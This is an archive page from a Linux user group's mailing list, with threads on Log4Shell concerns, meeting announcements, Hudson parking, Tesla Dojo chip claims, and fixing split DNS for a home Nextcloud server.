Dec. 15, 2021

Re: Bug in the news

by Michael Voorhis

Log4j is a Java logging library. If you're running apache and not using Java, I don't think you need to be concerned. See here... https://en.wikipedia.org/wiki/Log4Shell Dec 15, 2021 2:07:59 PM Keith Wright via WLUG <wlug(a)lists.wlug.org>: > Are we worried about Log4j / Log4shell (CVE-2021-44228)? > > I run Apache and never look at the log files. > > Where are they anyway? > Can I configure them out of existence, > or just log boring stuff? > > I don't need remote logging. > Can I just firewall packets? > > -- Keith > > _______________________________________________ > WLUG mailing list -- wlug(a)lists.wlug.org > To unsubscribe send an email to wlug-leave(a)lists.wlug.org > Create Account: https://wlug.mailman3.com/accounts/signup/ > Change Settings: https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ > Web Forum/Archive: https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/GVITN…

Dec. 15, 2021

Bug in the news

by Keith Wright

Are we worried about Log4j / Log4shell (CVE-2021-44228)? I run Apache and never look at the log files. Where are they anyway? Can I configure them out of existence, or just log boring stuff? I don't need remote logging. Can I just firewall packets? -- Keith

Dec. 15, 2021

Re: Reminder: December meeting! 12/09/2021 @7pm Hudson Public Library!

by Keith Wright

Tim Keller via WLUG <wlug(a)lists.wlug.org> writes: > Hey Everybody, > > We've got a meeting this Thursday at the Hudson Public Library! > > Topic: Jail breaking that Wii you've got laying around to run Linux! > Then I'm sure it'll get even more interesting! > I'd like to brain storm about topics we'd like to talk about next year! I am Wiiless, but always interested techniques to run it my way. > Ideas that have been talked about: > 1. Pi-hole. What it is, how it works and why you want one! > 2. Raspberry Pi clusters.. How to build one and what would you do with one? > 3. Ham radio and Linux. > > I'll have snacks and refreshments on hand, > we'll head off to dinner afterwards! I notice no mention was made of > > Secondly, the meeting will also be online at our usual Jitsi location for > > people who can't make it in person. https://meet.jit.si/WlugMA I couldn't get into that the last time, but it is said by one who knows that it was working. I don't know if I will have a jit.si capable computer, but I do know that I will not be in Hudson tonight. I would like to check in. Can I assume that someone will do what someone has done to make what has happened before happen again? Or will the forgotten past be gone forever into the memory hole? -- Keith PS: https://meet.jit.si/WlugMA hereby goes viral!

Dec. 9, 2021

Re: Reminder: December meeting! 12/09/2021 @7pm Hudson Public Library!

by Andrew Oprea

Hi Everyone, Is the usual meet.jit.si/WlugMA going to be up for far away participants? I've also got 30 seconds of follow up about what I've learned configuring my minimalist wifi repeater. I'll gladly type it out and mail it here if a mixed mode meeting isn't the plan tonight. Thanks again for the help, Drew On Thu, Dec 9, 2021 at 2:24 PM Joshua Stone via WLUG <wlug(a)lists.wlug.org> wrote: > Hey Tim, > > Thanks for the update! This meeting agenda looks exciting! I might get > some new inspiration for my Raspberry Pi. > > Do we have a preference for where we could eat after this meeting? Rail > Trail Flatbread seemed to work well last time, maybe we can try Less Than > Greater Than? > > https://www.lessthangreaterthan.com/eat > > - Josh > > On Tue, Dec 7, 2021 at 11:50 PM Tim Keller via WLUG <wlug(a)lists.wlug.org> > wrote: > >> Hey Everybody, >> >> We've got a meeting this Thursday at the Hudson Public Library! >> >> Topic: Jail breaking that Wii you've got laying around to run Linux! >> Then I'm sure it'll get even more interesting! >> I'd like to brain storm about topics we'd like to talk about next year! >> >> Ideas that have been talked about: >> 1. Pi-hole. What it is, how it works and why you want one! >> 2. Raspberry Pi clusters.. How to build one and what would you do with >> one? >> 3. Ham radio and Linux. >> >> I'll have snacks and refreshments on hand, we'll head off to dinner >> afterwards! >> Later, >> Tim. >> -- >> I am leery of the allegiances of any politician who refers to their >> constituents as "consumers". >> _______________________________________________ >> WLUG mailing list -- wlug(a)lists.wlug.org >> To unsubscribe send an email to wlug-leave(a)lists.wlug.org >> Create Account: https://wlug.mailman3.com/accounts/signup/ >> Change Settings: >> https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ >> Web Forum/Archive: >> https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/DX7SR… >> > _______________________________________________ > WLUG mailing list -- wlug(a)lists.wlug.org > To unsubscribe send an email to wlug-leave(a)lists.wlug.org > Create Account: https://wlug.mailman3.com/accounts/signup/ > Change Settings: > https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ > Web Forum/Archive: > https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/JDVHP… >

Dec. 9, 2021

Re: Reminder: December meeting! 12/09/2021 @7pm Hudson Public Library!

by Joshua Stone

Hey Tim, Thanks for the update! This meeting agenda looks exciting! I might get some new inspiration for my Raspberry Pi. Do we have a preference for where we could eat after this meeting? Rail Trail Flatbread seemed to work well last time, maybe we can try Less Than Greater Than? https://www.lessthangreaterthan.com/eat - Josh On Tue, Dec 7, 2021 at 11:50 PM Tim Keller via WLUG <wlug(a)lists.wlug.org> wrote: > Hey Everybody, > > We've got a meeting this Thursday at the Hudson Public Library! > > Topic: Jail breaking that Wii you've got laying around to run Linux! > Then I'm sure it'll get even more interesting! > I'd like to brain storm about topics we'd like to talk about next year! > > Ideas that have been talked about: > 1. Pi-hole. What it is, how it works and why you want one! > 2. Raspberry Pi clusters.. How to build one and what would you do with one? > 3. Ham radio and Linux. > > I'll have snacks and refreshments on hand, we'll head off to dinner > afterwards! > Later, > Tim. > -- > I am leery of the allegiances of any politician who refers to their > constituents as "consumers". > _______________________________________________ > WLUG mailing list -- wlug(a)lists.wlug.org > To unsubscribe send an email to wlug-leave(a)lists.wlug.org > Create Account: https://wlug.mailman3.com/accounts/signup/ > Change Settings: > https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ > Web Forum/Archive: > https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/DX7SR… >

Dec. 9, 2021

Reminder: December meeting! 12/09/2021 @7pm Hudson Public Library!

by Tim Keller

Hey Everybody, We've got a meeting this Thursday at the Hudson Public Library! Topic: Jail breaking that Wii you've got laying around to run Linux! Then I'm sure it'll get even more interesting! I'd like to brain storm about topics we'd like to talk about next year! Ideas that have been talked about: 1. Pi-hole. What it is, how it works and why you want one! 2. Raspberry Pi clusters.. How to build one and what would you do with one? 3. Ham radio and Linux. I'll have snacks and refreshments on hand, we'll head off to dinner afterwards! Later, Tim. -- I am leery of the allegiances of any politician who refers to their constituents as "consumers".

Dec. 8, 2021

Re: Reminder: November WLUG Meeting at the Hudson Public Library! Topic: Intel Management Engine.

by Jon "maddog" Hall

Keith, I was there, virtually, from 1900 to 2000 EST and Jitsey was doing fine. Sorry you had problems. md On Fri, Nov 19, 2021, 16:23 Keith Wright via WLUG <wlug(a)lists.wlug.org> wrote: > Tim Keller via WLUG <wlug(a)lists.wlug.org> writes: > > > We've got a meeting this Thursday November 18th, 2021 at 7pm - 8:30pm at > > the Hudson Public Library! > > > > Firstly, a big shout out to Joshua Stone for making > > the reservation at the Hudson Public Library. > > I live in Worcester. For a long time I just walked up the hill > to WLUG at WPI. I got bad at walking, so I got a ride and hung > out in the library until meeting time. Those days are over. > > I don't know where Hudson is. I assume it's in Worcester county. > The "W" in "WLUG" no longer stands for WPI, or even Wormtown. OK. > > > Secondly, the meeting will also be online at our usual Jitsi location for > > people who can't make it in person. https://meet.jit.si/WlugMA > > Did this happen? I was having a slow day after getting a anti-covid > booster Wednesday, thinking of just skipping the whole thing. Diane > was not home, so I could not use her laptop as I have in the past > to join jit.si WLUG meetings, but I tried to connect with my own. > > It is not really usable, with its built in microphone and speaker > feedbacking, but I thought I could listen and wave. I could see > myself on screen, so I know the camera was working. The microphone > seemed to be working, but when I pushed the "join meeting" button > nothing happened. This was probably around 7:30. > > I assumed my own system (hardware, sofrware, network...) was the > problem, but on further thought maybe you guys did not get it set up, > or quit when nobody else joined the meeting for half an hour. > > > The topic we'll be discussing at the meeting is the Intel > > Management Engine technology buried in every Intel CPU. > > I think I had better find out about this some other way. > > Thanks for the heads-up. What good is it to have the source code, > if you can't trust the computer to run it? > > > We'll talk about those flaws and how to disable it! > > Any pointers to more info? > > -- Keith > _______________________________________________ > WLUG mailing list -- wlug(a)lists.wlug.org > To unsubscribe send an email to wlug-leave(a)lists.wlug.org > Create Account: https://wlug.mailman3.com/accounts/signup/ > Change Settings: > https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ > Web Forum/Archive: > https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/3E27D… >

Nov. 19, 2021

Re: Reminder: November WLUG Meeting at the Hudson Public Library! Topic: Intel Management Engine.

by Keith Wright

Tim Keller via WLUG <wlug(a)lists.wlug.org> writes: > We've got a meeting this Thursday November 18th, 2021 at 7pm - 8:30pm at > the Hudson Public Library! > > Firstly, a big shout out to Joshua Stone for making > the reservation at the Hudson Public Library. I live in Worcester. For a long time I just walked up the hill to WLUG at WPI. I got bad at walking, so I got a ride and hung out in the library until meeting time. Those days are over. I don't know where Hudson is. I assume it's in Worcester county. The "W" in "WLUG" no longer stands for WPI, or even Wormtown. OK. > Secondly, the meeting will also be online at our usual Jitsi location for > people who can't make it in person. https://meet.jit.si/WlugMA Did this happen? I was having a slow day after getting a anti-covid booster Wednesday, thinking of just skipping the whole thing. Diane was not home, so I could not use her laptop as I have in the past to join jit.si WLUG meetings, but I tried to connect with my own. It is not really usable, with its built in microphone and speaker feedbacking, but I thought I could listen and wave. I could see myself on screen, so I know the camera was working. The microphone seemed to be working, but when I pushed the "join meeting" button nothing happened. This was probably around 7:30. I assumed my own system (hardware, sofrware, network...) was the problem, but on further thought maybe you guys did not get it set up, or quit when nobody else joined the meeting for half an hour. > The topic we'll be discussing at the meeting is the Intel > Management Engine technology buried in every Intel CPU. I think I had better find out about this some other way. Thanks for the heads-up. What good is it to have the source code, if you can't trust the computer to run it? > We'll talk about those flaws and how to disable it! Any pointers to more info? -- Keith

Nov. 19, 2021

Re: Reminder: November WLUG Meeting at the Hudson Public Library! Topic: Intel Management Engine.

by Joshua Stone

Hey Forrest, Great to hear from you! It was nice to see fellow residents at the meeting! More on the parking situation, the town does list numerous public parking spots in downtown that visitors can use, most within a few minutes of walking: https://www.discoverhudson.org/plan-your-visit/ - *Library:* 3 Washington St, <https://www.google.com/maps/place/3+Washington+St,+Hudson,+MA+01749> Hudson <https://www.google.com/maps/place/3+Washington+St,+Hudson,+MA+01749> - *South Street Parking Lot:* 25 South St, Hudson <https://www.google.com/maps/dir/25+South+St,+Hudson,+MA+01749/Hudson+Public…> - *Avidia Lot after 6PM:* 78 Main St, Hudson <https://www.google.com/maps/dir/78+Main+St,+Hudson,+MA+01749/Hudson+Public+…> - *Cellucci Parking:* 23 Houghton St, Hudson <https://www.google.com/maps/dir/23+Houghton+St,+Hudson,+MA+01749/Hudson+Pub…> - *RailRoad Ave. and Church Street Parking:* Nearby 29 Church St, Hudson <https://www.google.com/maps/dir/29+Church+St,+Hudson,+MA+01749/Hudson+Publi…> - *2 Hour Parking Lot:* 8 South St, Hudson <https://www.google.com/maps/dir/8+South+St,+Hudson,+MA+01749/Hudson+Public+…> There are also plenty of side streets that people will use for off-street parking. Admittedly Hudson's parking situation isn't the most convenient for visitors who aren't used to the area, and this is backed up with a parking study: https://www.townofhudson.org/sites/g/files/vyhlif3281/f/pages/parking_repor… *There are 1,400 parking spaces, but many spaces are hard to find. * > − There is a perception of lack of parking > − Many lots do not have clear or visible signage that indicates whether or > not one can > park there > − There are more than a dozen different types of regulations > − Half of off-street parking is "restricted access", meaning that the lots > are not available > to the general public > − There are some lots that are publicly owned and available to the general > public, yet > most of the stakeholders and workshop participants we spoke with did not > know they > existed > − Some parking areas are difficult to find from the roadway and/or > challenging to > access, so they end up being underutilized > − Overall signage is confusing to customers > The study is fairly old and the parking situation may have improved since then, but I think the point is clear that there's a demand for improved parking. I hope the town will do more to make parking easier to find instead of adding more parking spaces. We definitely have plenty of parking, it's just that visitors may have to plan ahead as it's not designed like a shopping plaza with massive parking lots in front of storefronts. I also hope the town will do more to invest in transit so car traffic and parking demand are reduced. As it stands right now, our regional transit authority has a fairly limited schedule and its coverage isn't great either: https://www.mwrta.com/routes/fixed-routes/route-15 It is for example technically possible to travel from Hudson to Boston via bus and train, but it will take an excruciatingly long time, requires multiple transfers, and may even be at times be unsafe due to poor pedestrian infrastructure along the route: https://www.google.com/maps/dir/Peter's+Grove,+11+Lake+St,+Hudson,+MA+01749/Back+Bay,+145+Dartmouth+St,+Boston,+MA+02116 This is why my wife and I compromise by driving to the train station first when going on day trips into the city. We hope to further reduce our car dependency by having more robust public transit in the central Mass area. There's something to be said for having the freedom to travel without needing to take several tons of privately-owned metal with you. - Josh On Fri, Nov 19, 2021 at 8:06 AM Forrest S via WLUG <wlug(a)lists.wlug.org> wrote: > Hey Tim, > > Names Forrest I introduced myself a while back on the forum I live in > Hudson and know the area pretty well so I will be there for my first > in-person meeting and so for everyone who does not know there is a parking > lot in the back behind the fire station it is right next to the library > _______________________________________________ > WLUG mailing list -- wlug(a)lists.wlug.org > To unsubscribe send an email to wlug-leave(a)lists.wlug.org > Create Account: https://wlug.mailman3.com/accounts/signup/ > Change Settings: > https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ > Web Forum/Archive: > https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/EYMTC… >

Nov. 19, 2021

Re: Reminder: November WLUG Meeting at the Hudson Public Library! Topic: Intel Management Engine.

by Joshua Stone

Hey Forrest, Great to hear from you! It's nice to see a fellow resident! More on the parking situation, the town does list numerous public parking spots in downtown that visitors can use, most within a few minutes of walking: https://www.discoverhudson.org/plan-your-visit/ - *Library:* 3 Washington St, <https://www.google.com/maps/place/3+Washington+St,+Hudson,+MA+01749> Hudson <https://www.google.com/maps/place/3+Washington+St,+Hudson,+MA+01749> - *South Street Parking Lot:* 25 South St, Hudson <https://www.google.com/maps/dir/25+South+St,+Hudson,+MA+01749/Hudson+Public…> - *Avidia Lot after 6PM:* 78 Main St, Hudson <https://www.google.com/maps/dir/78+Main+St,+Hudson,+MA+01749/Hudson+Public+…> - *Cellucci Parking:* 23 Houghton St, Hudson <https://www.google.com/maps/dir/23+Houghton+St,+Hudson,+MA+01749/Hudson+Pub…> - *RailRoad Ave. and Church Street Parking:* Nearby 29 Church St, Hudson <https://www.google.com/maps/dir/29+Church+St,+Hudson,+MA+01749/Hudson+Publi…> - *2 Hour Parking Lot:* 8 South St, Hudson <https://www.google.com/maps/dir/8+South+St,+Hudson,+MA+01749/Hudson+Public+…> There are also plenty of side streets that people will use for off-street parking. Admittedly Hudson's parking situation isn't the most convenient for visitors who aren't used to the area, and this is backed up with a parking study: https://www.townofhudson.org/sites/g/files/vyhlif3281/f/pages/parking_repor… *There are 1,400 parking spaces, but many spaces are hard to find. * > − There is a perception of lack of parking > − Many lots do not have clear or visible signage that indicates whether or > not one can > park there > − There are more than a dozen different types of regulations > − Half of off-street parking is "restricted access", meaning that the lots > are not available > to the general public > − There are some lots that are publicly owned and available to the general > public, yet > most of the stakeholders and workshop participants we spoke with did not > know they > existed > − Some parking areas are difficult to find from the roadway and/or > challenging to > access, so they end up being underutilized > − Overall signage is confusing to customers > The study is fairly old and the parking situation may have improved since then, but I think the point is clear that there's a demand for improved parking. I hope the town will do more to make parking easier to find instead of adding more parking spaces. We definitely have plenty of parking, it's just that visitors may have to plan ahead as it's not designed like a shopping plaza with massive parking lots in front of storefronts. I also hope the town will do more to invest in transit so car traffic and parking demand are reduced. As it stands right now, our regional transit authority has a fairly limited schedule and its coverage isn't great either: https://www.mwrta.com/routes/fixed-routes/route-15 It is for example technically possible to travel from Hudson to Boston via bus and train, but it will take an excruciatingly long time, requires multiple transfers, and may even be at times be unsafe due to poor pedestrian infrastructure along the route: https://www.google.com/maps/dir/Peter's+Grove,+11+Lake+St,+Hudson,+MA+01749/Back+Bay,+145+Dartmouth+St,+Boston,+MA+02116 This is why my wife and I compromise by driving to the train station first when going on day trips into the city. We hope to further reduce our car dependency by having more robust public transit in the central Mass area. There's something to be said by having the freedom to travel to places without needing to take several tons of privately-owned metal with you. - Josh On Fri, Nov 19, 2021 at 8:06 AM Forrest S via WLUG <wlug(a)lists.wlug.org> wrote: > Hey Tim, > > Names Forrest I introduced myself a while back on the forum I live in > Hudson and know the area pretty well so I will be there for my first > in-person meeting and so for everyone who does not know there is a parking > lot in the back behind the fire station it is right next to the library > _______________________________________________ > WLUG mailing list -- wlug(a)lists.wlug.org > To unsubscribe send an email to wlug-leave(a)lists.wlug.org > Create Account: https://wlug.mailman3.com/accounts/signup/ > Change Settings: > https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ > Web Forum/Archive: > https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/EYMTC… >

Nov. 19, 2021

Re: Reminder: November WLUG Meeting at the Hudson Public Library! Topic: Intel Management Engine.

by Joshua Stone

Hey Tim, Thanks for the shout out! I'm happy to help set up meetings like this so long as there's interest! I've also informed my colleagues today (admittedly on short notice) about this meeting, so we might get some more attendees or listeners this time around! - Josh On Tue, Nov 16, 2021 at 12:48 PM Tim Keller via WLUG <wlug(a)lists.wlug.org> wrote: > > Hey Everybody, > > We've got a meeting this Thursday November 18th, 2021 at 7pm - 8:30pm at > the Hudson Public Library! > > Firstly, a big shout out to Joshua Stone for making the reservation at the > Hudson Public Library. > > Secondly, the meeting will also be online at our usual Jitsi location for > people who can't make it in person. https://meet.jit.si/WlugMA > > The topic we'll be discussing at the meeting is the Intel Management > Engine technology buried in every Intel CPU. This technology includes a > version of Minix running on a separate core inside your CPU you don't > control. Moreover, with the right software, changes to your machine can be > made remotely, even when the system is powered off (but connected to > power). As with all this stuff, of course since the whole thing is cooked > into the firmware, it's full of security flaws, etc.. We'll talk about > those flaws and how to disable it! > > We'll also likely touch on the Tesla Dojo D1 processing unit. They've made > some claims that I've posted to the mailing list. Logan did some digging > and it turns out their claims are not as blow your mind as would be first > interpreted. > > The Hudson Public Library does allow food and drink, so I will bring the > usual pretzels and snacks. Afterwards we will be going to Rail Trail > Flatbread <https://railtrailflatbread.com/>for dinner. > > Toss me a line privately if you'll be attending so we've got an idea of > how many people will be going out for dinner. > > I look forward to seeing you there! > Later, > Tim. > -- > I am leery of the allegiances of any politician who refers to their > constituents as "consumers". > _______________________________________________ > WLUG mailing list -- wlug(a)lists.wlug.org > To unsubscribe send an email to wlug-leave(a)lists.wlug.org > Create Account: https://wlug.mailman3.com/accounts/signup/ > Change Settings: > https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ > Web Forum/Archive: > https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/XG3JH… >

Nov. 18, 2021

Re: Reminder: November WLUG Meeting at the Hudson Public Library! Topic: Intel Management Engine.

by Forrest S

Hey Tim, Names Forrest I introduced myself a while back on the forum I live in Hudson and know the area pretty well so I will be there for my first in-person meeting and so for everyone who does not know there is a parking lot in the back behind the fire station it is right next to the library

Nov. 18, 2021

Reminder: November WLUG Meeting at the Hudson Public Library! Topic: Intel Management Engine.

by Tim Keller

Hey Everybody, We've got a meeting this Thursday November 18th, 2021 at 7pm - 8:30pm at the Hudson Public Library! Firstly, a big shout out to Joshua Stone for making the reservation at the Hudson Public Library. Secondly, the meeting will also be online at our usual Jitsi location for people who can't make it in person. https://meet.jit.si/WlugMA The topic we'll be discussing at the meeting is the Intel Management Engine technology buried in every Intel CPU. This technology includes a version of Minix running on a separate core inside your CPU you don't control. Moreover, with the right software, changes to your machine can be made remotely, even when the system is powered off (but connected to power). As with all this stuff, of course since the whole thing is cooked into the firmware, it's full of security flaws, etc.. We'll talk about those flaws and how to disable it! We'll also likely touch on the Tesla Dojo D1 processing unit. They've made some claims that I've posted to the mailing list. Logan did some digging and it turns out their claims are not as blow your mind as would be first interpreted. The Hudson Public Library does allow food and drink, so I will bring the usual pretzels and snacks. Afterwards we will be going to Rail Trail Flatbread <https://railtrailflatbread.com/>for dinner. Toss me a line privately if you'll be attending so we've got an idea of how many people will be going out for dinner. I look forward to seeing you there! Later, Tim. -- I am leery of the allegiances of any politician who refers to their constituents as "consumers".

Nov. 16, 2021

Re: Dojo D1

by Tim Keller

That's good to know.. Thanks for digging deeper into this. On Mon, Nov 15, 2021 at 4:48 PM Logan Brown via WLUG <wlug(a)lists.wlug.org> wrote: > So, as with everything Tesla, there’s a whole lot of asterisks involved: > > - Each individual Dojo D1 chip is only 22.6 TFLOP FP32 at 400w of > power consumption. Compared to the newly announced AMD Instinct MI250, > which pushes 45.3 TFLOP F32 at 500w. > - The claims of 9 PFLOP per tile is only if you’re using the new > custom floating point format that they’ve created ( > https://www.scribd.com/document/535276674/Tesla-Dojo-Technology) > Regular FP32, you’re talking about 565 TFLOP per tile or 6.7 PFLOP per rack > (120kw draw) - fast, but when AMD is offering 348 TFLOP F32 in a standard > 2U form factor and you can put 24 of those in a standard rack for 8.3 PFLOP > per rack (96kw draw), not so impressive. > > > > > > > > *From: *Bob via WLUG <wlug(a)lists.wlug.org> > *Sent: *Monday, November 15, 2021 16:29 > *To: *Tim Keller via WLUG <wlug(a)lists.wlug.org> > *Cc: *Bob <robert.athol.mass(a)gmail.com> > *Subject: *[WLUG] Re: Dojo D1 > > > > I want two. > > On 9/29/2021 4:37 PM, Tim Keller via WLUG wrote: > > I just finally got to see the stuff about Tesla's Dojo Processor stuff. > > > > 9 PFLOPS per "tile" and 36 TB/s of bandwidth. > > https://www.youtube.com/watch?v=pPHX7e1BxSM > > Um..wow. > > > > Tim. > > > > -- > > I am leery of the allegiances of any politician who refers to their > constituents as "consumers". > > > > _______________________________________________ > > WLUG mailing list -- wlug(a)lists.wlug.org > > To unsubscribe send an email to wlug-leave(a)lists.wlug.org > > Create Account: https://wlug.mailman3.com/accounts/signup/ > > Change Settings: https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ > > Web Forum/Archive: https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/OOBBL… > > > _______________________________________________ > WLUG mailing list -- wlug(a)lists.wlug.org > To unsubscribe send an email to wlug-leave(a)lists.wlug.org > Create Account: https://wlug.mailman3.com/accounts/signup/ > Change Settings: > https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ > Web Forum/Archive: > https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/FRZFO… > -- I am leery of the allegiances of any politician who refers to their constituents as "consumers".

Nov. 16, 2021

Re: Dojo D1

by Logan Brown

So, as with everything Tesla, there’s a whole lot of asterisks involved: * Each individual Dojo D1 chip is only 22.6 TFLOP FP32 at 400w of power consumption. Compared to the newly announced AMD Instinct MI250, which pushes 45.3 TFLOP F32 at 500w. * The claims of 9 PFLOP per tile is only if you’re using the new custom floating point format that they’ve created (https://www.scribd.com/document/535276674/Tesla-Dojo-Technology) Regular FP32, you’re talking about 565 TFLOP per tile or 6.7 PFLOP per rack (120kw draw) - fast, but when AMD is offering 348 TFLOP F32 in a standard 2U form factor and you can put 24 of those in a standard rack for 8.3 PFLOP per rack (96kw draw), not so impressive. From: Bob via WLUG<mailto:wlug@lists.wlug.org> Sent: Monday, November 15, 2021 16:29 To: Tim Keller via WLUG<mailto:wlug@lists.wlug.org> Cc: Bob<mailto:robert.athol.mass@gmail.com> Subject: [WLUG] Re: Dojo D1 I want two. On 9/29/2021 4:37 PM, Tim Keller via WLUG wrote: I just finally got to see the stuff about Tesla's Dojo Processor stuff. 9 PFLOPS per "tile" and 36 TB/s of bandwidth. https://www.youtube.com/watch?v=pPHX7e1BxSM Um..wow. Tim. -- I am leery of the allegiances of any politician who refers to their constituents as "consumers". _______________________________________________ WLUG mailing list -- wlug(a)lists.wlug.org<mailto:wlug@lists.wlug.org> To unsubscribe send an email to wlug-leave(a)lists.wlug.org<mailto:wlug-leave@lists.wlug.org> Create Account: https://wlug.mailman3.com/accounts/signup/ Change Settings: https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ Web Forum/Archive: https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/OOBBL…

Nov. 15, 2021

Re: Use same hostname internally and externally

by Brandon Hartshorn

On 2021-11-12 10:50, brad via WLUG wrote: > However android and iOS do not appear to honer my local dns server — > I’m not sure why — so they resolve the address to a routable IP and > connect from within the private 192.168.1.0 subnet. My firewall sees > this and drops it b/c it is a non-routable IP address connecting to > the external interface. (I got this info by running tcpdump and > watching traffic). > > Has anyone attempted something similar? Is there something I’m > overlooking? (Probably) Yeah, you're not missing anything - mobile devices are just sortof a PITA. Throw in a work device which tunnels all DNS over VPN and it turns in to a real headache. If you can't seem to get the phones to obey (blocking external DNS or re-directing it *might* work), you may have to resort to NAT reflection. It's working OK for me on pfSense. Unfortunately, all traffic ends up going through the firewall, but the performance hit probably isn't too critical for most things. Here's docs for doing this in pfSense, other "real" routers should have a similar functionality: https://docs.netgate.com/pfsense/en/latest/nat/reflection.html

Nov. 15, 2021

Meeting in Hudson and Main Street Contest

by Joshua Stone

Hey all, I'm posting to confirm that the venue for our upcoming in-person meeting at 7PM will be held at the Hudson Public Library! We may also want to look into eating options after the meeting, many of which are on Main Street: https://www.discoverhudson.org/taste/ My vote goes to the Rail Trail Flatbread which is close to the library and has some incredibly tasty menu items! And speaking of main streets, I'm happy to announce that Hudson has become a semi-finalist for the Main Street Contest! https://mainstreetcontest.com https://mainstreetcontest.com/profile/102 I think it's awesome that the town has seen so much growth since we moved here and gives us a sense of community. I'm excited to see where it'll go! - Josh

Nov. 15, 2021

Re: Use same hostname internally and externally

by John Stoffel

>>>>> "brad" == brad <bkn(a)ithryn.net> writes: brad> On Nov 12, 2021, at 19:34, John Stoffel <john(a)stoffel.org> wrote: brad> "brad" == brad via WLUG <wlug(a)lists.wlug.org> writes: brad> To quickly summarize my problem/question, I’d like to host a brad> nextcloud server at my house and be able to access it with the brad> same hostname whether I’m home or away. brad> I own a domain, let’s call it example.com. Its main DNS record brad> points to a node at digital oceans. However I’d like to host a brad> sub-domain at my house, let’s call it brad> home.example.com. Currently home.example.com resolves to a brad> routable IP address at my house. brad> - When I’m on the road, I’d like to be able to connect to https://home.example.come brad> - When I’m home, I’d like to be able to connect to https://home.example.com. brad> The above works on a well-behaved desktop receiving dns servers brad> via dhcp. Specifically, I have setup local dns to resolve brad> home.example.com to 192.168.1.1. Searching this topic has taught brad> me that this method is called Split-DNS. brad> However android and iOS do not appear to honer my local dns brad> server — I’m not sure why — so they resolve the address to a brad> routable IP and connect from within the private 192.168.1.0 brad> subnet. My firewall sees this and drops it b/c it is a brad> non-routable IP address connecting to the external interface. (I brad> got this info by running tcpdump and watching traffic). brad> Are your iphone and android getting their data from the Wifi network brad> or their phone network? brad> This is a great question and led to what I believe is the solution. brad> You might need to sniff port 53 traffic on brad> your firewall and see where they're sending queries to. Then you brad> might need to block or redirect those queries to your own internal DNS brad> server. brad> I did sniff port 53 (and 853) to observe dns traffic. I also brad> sniffed port 67 and 68 to make sure that the DNS server was brad> getting sent w/ the dhcp request. All was good on the dhcp brad> front, and port 53 sniffing did display the fact that my brad> internal domain names were getting resolved to CNAMEs, but on brad> Andoird, it stopped at that step. I.e. android got a CNAME for brad> up.internal.example.com, but did not resolve the CNAME any brad> further. Interesting, I'm kinda surprised. brad> Has anyone attempted something similar? Is there something I’m brad> overlooking? (Probably) You might need/want to reboot the Android, or see if there's a way to flush it's own internal DNS cache. But I don't have any android to play with at home. brad> I've been meaning to do it myself, putting in a local internal brad> override for my dynamic DNS external name, so I can conncent from both brad> inside and outside (when I'm on the $WORK VPN mostly) without having brad> to remember things. Silly to bounce SSH across the country to get brad> downstairs... but when you sit at a $WORK laptop most days... it's brad> nice to be able to hit home stuff via SSH and screen. brad> Agreed, I recently setup wireguard to use as VPN for this brad> purpose. I just ssh home, no really need for wireguard at this time. brad> My goal is to not do special configurations on enduser devices. A laudable goal for sure! brad> What is your firewall or router at home? Depending on what you have, brad> you might be able to block outgoing port 53 traffic, or redirect it to brad> your internal DNS server so those devices get the results you want. brad> I use OpnSense at home, so if that's what you're using, we can work brad> together on this. brad> My firewall is openbsd — my preferred firewall OS as I love pf — brad> and my name server is unbound. I believe OpnSense is built on a brad> BSD, so unbound maybe an option for you. I'm already running unbound as my internal DNS server. brad> On to the solution, or at least ‘what works for me’. As far as I brad> can tell unbound is not an authoritative name server, so I had brad> to change all the CNAMEs to A records. That is a little annoying brad> when I comes to my config file, but it does work. No, unbound works just fine as an authoritative nameserver from what I know. It's dnsmasq which doesn't work as an authoritative. I think the solution of using A records is actually the right one, since you want to override the outside world's A record for your hostname, so using a CNAME inside isn't going to really help because it will lookup the name, and I *think* A records are a higher priority than CNAMEs in the response. So just doing a CNAME won't do the trick. Since it's not something that changes often, having to buidl your own A record shouldn't be that big a deal. brad> For your reference, a related bug report for opnsense is linked brad> below with subsequent links about why unbound and CNAMEs do not brad> go together. brad> https://github.com/opnsense/core/issues/1041 This is an old bug, I'm running the latest production release of OpnSense and unbound, so I think I'm ok. brad> Thanks for provoking my curiosity into the eventual solution! Excellent! John

Nov. 13, 2021

Re: Use same hostname internally and externally

by brad

